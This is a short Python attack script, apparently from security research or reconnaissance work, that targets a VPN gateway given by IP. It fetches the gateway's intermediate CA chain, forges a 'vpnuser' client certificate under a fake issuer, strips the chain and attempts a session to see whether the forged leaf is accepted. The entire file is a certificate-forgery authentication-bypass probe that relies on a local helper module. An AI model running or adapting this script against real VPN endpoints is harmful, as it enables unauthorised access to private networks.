import sys
sys.path.insert(0, "/root/recon")
import cp_oracle as co
from cryptography.x509.oid import NameOID

ip = sys.argv[1]
ders, _ = co.get_ica(ip)
fake_issuer = co.x509.Name([co.x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Acme Test Org",
                                                   _type=co._ASN1Type.PrintableString)])
f = co.forge("vpnuser", ders[1], "Acme Test Org", fake_issuer, [ders[1]])
f.chain_ders = []
s = co.Session(ip, "vpnuser")
r = s.run(f, with_hash=False)
s.close()
print("fake issuer, leaf only:", r["phase1"], "|", " | ".join(n[2:] for n in r["notes"] if n.startswith("t:"))[:200])
